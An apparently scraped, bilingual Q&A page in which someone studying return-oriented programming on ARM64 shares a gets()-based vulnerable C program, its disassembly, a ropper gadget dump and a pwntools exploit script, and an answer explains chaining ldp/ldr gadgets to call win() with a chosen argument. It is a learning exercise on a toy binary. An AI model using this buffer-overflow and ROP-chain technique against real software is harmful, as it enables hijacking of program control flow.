ARM 上的面向返回编程(64 位) [英] Return Oriented Programming on ARM (64-bit)

查看:104
本文介绍了ARM 上的面向返回编程(64 位)的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我正在 ARM(64 位)上学习 Rop.所以我正在我的 ARMv8 Cortex A-72 上测试 Rop 漏洞,以了解它是如何在 Arm64 上工作的.我写了一个非常简单的c漏洞代码:

I am studying Rop on ARM (64 bit). So i am testing Rop vulnerability on my ARMv8 Cortex A-72 in order to understand how it works on Arm64. I wrote a very simple c vulnerable code:

#include <stdio.h>
#include <string.h>

void win(unsigned magic){
    if(magic == 0xdeadbeef)
        printf("I Should Never be Called!\n");
}

void vuln(){
    char buffer[80];
    printf("Buffer at:%p\n",buffer);
    gets(buffer);
}

int main(int argc, char **argv){

    vuln(); 
}

为了调用 win 函数,我认为正确的 rop 链是:

In order to call the win function i think the correct rop chain is:

offset + pop {x0,pc} + correct_argument + win_address

这是汇编代码:

Dump of assembler code for function main:

   0x00000055555557f8 <+0>:     stp     x29, x30, [sp, #-32]!
   0x00000055555557fc <+4>:     mov     x29, sp
   0x0000005555555800 <+8>:     str     w0, [sp, #28]
   0x0000005555555804 <+12>:    str     x1, [sp, #16]
   0x0000005555555808 <+16>:    bl      0x55555557c8 <vuln>
   0x000000555555580c <+20>:    mov     w0, #0x0                        // #0
   0x0000005555555810 <+24>:    ldp     x29, x30, [sp], #32
   0x0000005555555814 <+28>:    ret

Dump of assembler code for function vuln:
   0x00000055555557c8 <+0>:     stp     x29, x30, [sp, #-96]!
   0x00000055555557cc <+4>:     mov     x29, sp
   0x00000055555557d0 <+8>:     add     x0, sp, #0x10
   0x00000055555557d4 <+12>:    mov     x1, x0
   0x00000055555557d8 <+16>:    adrp    x0, 0x5555555000
   0x00000055555557dc <+20>:    add     x0, x0, #0x8c0
   0x00000055555557e0 <+24>:    bl      0x5555555680 <printf@plt>
   0x00000055555557e4 <+28>:    add     x0, sp, #0x10
   0x00000055555557e8 <+32>:    bl      0x5555555690 <gets@plt>
   0x00000055555557ec <+36>:    nop
   0x00000055555557f0 <+40>:    ldp     x29, x30, [sp], #96
   0x00000055555557f4 <+44>:    ret

Dump of assembler code for function win:
   0x00000055555557b4 <+0>:     sub     sp, sp, #0x10
   0x00000055555557b8 <+4>:     str     w0, [sp, #12]
   0x00000055555557bc <+8>:     nop
   0x00000055555557c0 <+12>:    add     sp, sp, #0x10
   0x00000055555557c4 <+16>:    ret

我先禁用了 ASLR.然后使用 gdb 我确定了 pc 被覆盖的偏移量.偏移量为 96 字节.偏移量的最后 8 个字节溢出链接寄存器,因此 pc 将指向那个.所以下一步是搜索正确的小工具.因为我在 ARMv8 上工作并且函数 win() 接受一个参数,所以我正在寻找一个 pop {x0, pc} 小工具来安装我的 rop 链.我使用 ropper 搜索小工具来构建 rop 链.跟随 ropper 命令的输出:

I disabled the ASLR first. Then using gdb i identified the offset at which the pc gets overwritten. The offset is 96 bytes. The last 8 bytes of the offset overflow the link register therefore the pc will point to that. So the next step is to search the right gadget. Since i am working on ARMv8 and the function win() takes one argument i am looking for a pop {x0, pc} gadget to mount my rop chain. I used ropper to search for gadgets to build the rop chain. Following the output of ropper command:

0x00000000000007c0: add sp, sp, #0x10; ret; 
0x00000000000007e4: add x0, sp, #0x10; bl #0x690; nop; ldp x29, x30, [sp], #0x60; ret; 
0x0000000000000648: add x16, x16, #0; br x17; 
0x0000000000000668: add x16, x16, #0x10; br x17; 
0x0000000000000678: add x16, x16, #0x18; br x17; 
0x0000000000000688: add x16, x16, #0x20; br x17; 
0x0000000000000698: add x16, x16, #0x28; br x17; 
0x000000000000062c: add x16, x16, #0xff8; br x17; 
0x0000000000000658: add x16, x16, #8; br x17; 
0x0000000000000870: add x19, x19, #1; mov x1, x23; mov w0, w22; blr x3; 
0x00000000000006d8: adrp x0, #0x10000; ldr x0, [x0, #0xfc8]; cbz x0, #0x6e8; b #0x660; ret; 
0x0000000000000708: adrp x1, #0x10000; ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16; 
0x0000000000000708: adrp x1, #0x10000; ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16; ret; 
0x0000000000000624: adrp x16, #0x10000; ldr x17, [x16, #0xff8]; add x16, x16, #0xff8; br x17; 
0x0000000000000660: adrp x16, #0x11000; ldr x17, [x16, #0x10]; add x16, x16, #0x10; br x17; 
0x0000000000000670: adrp x16, #0x11000; ldr x17, [x16, #0x18]; add x16, x16, #0x18; br x17; 
0x0000000000000680: adrp x16, #0x11000; ldr x17, [x16, #0x20]; add x16, x16, #0x20; br x17; 
0x0000000000000690: adrp x16, #0x11000; ldr x17, [x16, #0x28]; add x16, x16, #0x28; br x17; 
0x0000000000000650: adrp x16, #0x11000; ldr x17, [x16, #8]; add x16, x16, #8; br x17; 
0x0000000000000640: adrp x16, #0x11000; ldr x17, [x16]; add x16, x16, #0; br x17; 
0x0000000000000744: adrp x2, #0x10000; ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16; 
0x0000000000000744: adrp x2, #0x10000; ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16; ret; 
0x00000000000006e4: b #0x660; ret; 
0x00000000000007b0: b #0x720; sub sp, sp, #0x10; str w0, [sp, #0xc]; nop; add sp, sp, #0x10; ret;                                                                           
0x0000000000000704: b.eq #0x71c; adrp x1, #0x10000; ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16;                                                              
0x0000000000000884: b.ne #0x868; ldp x19, x20, [sp, #0x10]; ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret;                           
0x00000000000006d4: bl #0x670; adrp x0, #0x10000; ldr x0, [x0, #0xfc8]; cbz x0, #0x6e8; b #0x660; ret;                                                                      
0x00000000000007e0: bl #0x680; add x0, sp, #0x10; bl #0x690; nop; ldp x29, x30, [sp], #0x60; ret;                                                                           
0x00000000000007e8: bl #0x690; nop; ldp x29, x30, [sp], #0x60; ret; 
0x0000000000000610: bl #0x6d8; ldp x29, x30, [sp], #0x10; ret; 
0x0000000000000790: bl #0x6f0; movz w0, #0x1; strb w0, [x19, #0x40]; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;                                                  
0x0000000000000808: bl #0x7c8; movz w0, #0; ldp x29, x30, [sp], #0x20; ret; 
0x000000000000087c: blr x3; 
0x0000000000000718: br x16; 
0x0000000000000718: br x16; ret; 
0x0000000000000630: br x17; 
0x00000000000006e0: cbz x0, #0x6e8; b #0x660; ret; 
0x0000000000000710: cbz x1, #0x71c; mov x16, x1; br x16; 
0x0000000000000710: cbz x1, #0x71c; mov x16, x1; br x16; ret; 
0x0000000000000740: cbz x1, #0x758; adrp x2, #0x10000; ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16;                                                           
0x000000000000074c: cbz x2, #0x758; mov x16, x2; br x16; 
0x000000000000074c: cbz x2, #0x758; mov x16, x2; br x16; ret; 
0x0000000000000888: ldp x19, x20, [sp, #0x10]; ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret;                                        
0x000000000000088c: ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret;                                                                   
0x0000000000000890: ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret; 
0x0000000000000614: ldp x29, x30, [sp], #0x10; ret; 
0x00000000000007a0: ldp x29, x30, [sp], #0x20; ret; 
0x0000000000000894: ldp x29, x30, [sp], #0x40; ret; 
0x00000000000007f0: ldp x29, x30, [sp], #0x60; ret; 
0x00000000000006dc: ldr x0, [x0, #0xfc8]; cbz x0, #0x6e8; b #0x660; ret; 
0x000000000000070c: ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16; 
0x000000000000070c: ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16; ret; 
0x0000000000000664: ldr x17, [x16, #0x10]; add x16, x16, #0x10; br x17; 
0x0000000000000674: ldr x17, [x16, #0x18]; add x16, x16, #0x18; br x17; 
0x0000000000000684: ldr x17, [x16, #0x20]; add x16, x16, #0x20; br x17; 
0x0000000000000694: ldr x17, [x16, #0x28]; add x16, x16, #0x28; br x17; 
0x0000000000000628: ldr x17, [x16, #0xff8]; add x16, x16, #0xff8; br x17; 
0x0000000000000654: ldr x17, [x16, #8]; add x16, x16, #8; br x17; 
0x0000000000000644: ldr x17, [x16]; add x16, x16, #0; br x17; 
0x000000000000079c: ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret; 
0x0000000000000748: ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16; 
0x0000000000000748: ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16; ret; 
0x0000000000000868: ldr x3, [x21, x19, lsl #3]; mov x2, x24; add x19, x19, #1; mov x1, x23; mov w0, w22; blr x3;                                                            
0x0000000000000878: mov w0, w22; blr x3; 
0x0000000000000874: mov x1, x23; mov w0, w22; blr x3; 
0x0000000000000714: mov x16, x1; br x16; 
0x0000000000000714: mov x16, x1; br x16; ret; 
0x0000000000000750: mov x16, x2; br x16; 
0x0000000000000750: mov x16, x2; br x16; ret; 
0x000000000000086c: mov x2, x24; add x19, x19, #1; mov x1, x23; mov w0, w22; blr x3; 
0x000000000000060c: mov x29, sp; bl #0x6d8; ldp x29, x30, [sp], #0x10; ret; 
0x00000000000008a8: mov x29, sp; ldp x29, x30, [sp], #0x10; ret; 
0x000000000000080c: movz w0, #0; ldp x29, x30, [sp], #0x20; ret; 
0x0000000000000794: movz w0, #0x1; strb w0, [x19, #0x40]; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;                                                             
0x0000000000000620: stp x16, x30, [sp, #-0x10]!; adrp x16, #0x10000; ldr x17, [x16, #0xff8]; add x16, x16, #0xff8; br x17;                                                  
0x0000000000000608: stp x29, x30, [sp, #-0x10]!; mov x29, sp; bl #0x6d8; ldp x29, x30, [sp], #0x10; ret;                                                                    
0x00000000000008a4: stp x29, x30, [sp, #-0x10]!; mov x29, sp; ldp x29, x30, [sp], #0x10; ret;                                                                               
0x0000000000000800: str w0, [sp, #0x1c]; str x1, [sp, #0x10]; bl #0x7c8; movz w0, #0; ldp x29, x30, [sp], #0x20; ret;                                                       
0x00000000000007b8: str w0, [sp, #0xc]; nop; add sp, sp, #0x10; ret; 
0x0000000000000804: str x1, [sp, #0x10]; bl #0x7c8; movz w0, #0; ldp x29, x30, [sp], #0x20; ret;                                                                            
0x0000000000000798: strb w0, [x19, #0x40]; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;                                                                            
0x00000000000007b4: sub sp, sp, #0x10; str w0, [sp, #0xc]; nop; add sp, sp, #0x10; ret;                                                                                     
0x00000000000007bc: nop; add sp, sp, #0x10; ret; 
0x000000000000063c: nop; adrp x16, #0x11000; ldr x17, [x16]; add x16, x16, #0; br x17;                                                                                      
0x00000000000007ec: nop; ldp x29, x30, [sp], #0x60; ret; 
0x0000000000000638: nop; nop; adrp x16, #0x11000; ldr x17, [x16]; add x16, x16, #0; br x17; 
0x000000000000089c: nop; ret; 
0x0000000000000618: ret; 

如何看到没有像 pop {x0,pc} 这样的小工具,但是阅读 armv8 备忘单 ldp x29, x30, [sp], #0x60 从堆栈中弹出 x29 和 x30所以基本上我们可以将 ldp 视为 pop 指令.但同样没有从堆栈中弹出 x0 寄存器的小工具.

How you can see there is no gadgets like pop {x0,pc} however reading the armv8 cheat sheet the ldp x29, x30, [sp], #0x60 pop x29 and x30 from the stack so basically we can consider ldp as a pop instruction. But again there is no gadget which pop the x0 register from stack.

所以我的问题是:我如何安装具有 roppper 小工具的 rop 链?

So my question is: How can i mount the rop chain having that gadgets from roppper ?

请帮助我理解它.谢谢.

Please help me to understand it. Thank you.

我的利用:

from pwn import *

#gadget
win = p64(0x000000555555580c)
gadget_ldp = p64(0x00000000000008f8) #ldp x19, x20, [sp, #0x10]; ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret;

gadget_ldr = p64(0x00000000000008d8) # ldr x3, [x21, x19, lsl #3]; mov x2, x24; add x19, x19, #1; mov x1, x23; mov w0, w22; blr x3;

magic = p64(0xdeadbeef)
buf = p64(0x7ffffff000)

#payload
payload = b'\x90'*56;
payload += win;
payload += b'\x90'*24; #offset
payload += gadget_ldp;
payload += b'\x00'*8; #in x19 must be zero
payload += b'\x90'*8; # ldp register x20
payload += buf; #ldp register x21
payload += magic; #ldp register x22
payload += b'\x90'*8; #ldp register x23
payload += b'\x90'*8; #ldp register x24
payload += gadget_ldr;
    
#make connection to the binary and send payload
conn = process('./badcode')
conn.sendline(payload)
print(conn.recvline())
conn.interactive()

推荐答案

使用 0x0888 处的小工具,我们可以从堆栈中加载所有 x19-x24 并返回,所以我们可以任意设置它们的所有值并继续.

With the gadget at 0x0888 we can load all of x19-x24 from the stack and return, so we can set all their values arbitrarily and go on.

0x0878mov w0, w22,这很好,但是分支是到我们尚未控制的 x3.

0x0878 has mov w0, w22, which is nice, but then the branch is to x3 which we don't yet control.

但是备份一些指令并查看 0x0868 小工具.对我们来说值得注意的是:

But back up a few instructions and look at the 0x0868 gadget. Notable for us is:

    ldr x3, [x21, x19, lsl #3]
    //...
    mov w0, w22
    blr x3

因此,如果在我们的上一步中,我们加载了 x21 与某个地址,在该地址可以找到指向 win 的指针(可能是我们设置的堆栈上的一个位置),并将 x19 设置为零,然后我们在 x3 中获得 win.同样,如果在上一步中我们加载了 x220xdeadbeef,那么我们将在 w0 中获取它.所以我们应该能够根据需要设置 w0 分支到 win.

So if in our previous step, we loaded x21 with some address where a pointer to win can be found (maybe a place on the stack that we've set), and set x19 to zero, then we get win in x3. And likewise if in our previous step we loaded x22 with 0xdeadbeef, then we get it in w0 here. So we should be able to branch to win with w0 set as desired.

这篇关于ARM 上的面向返回编程(64 位)的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆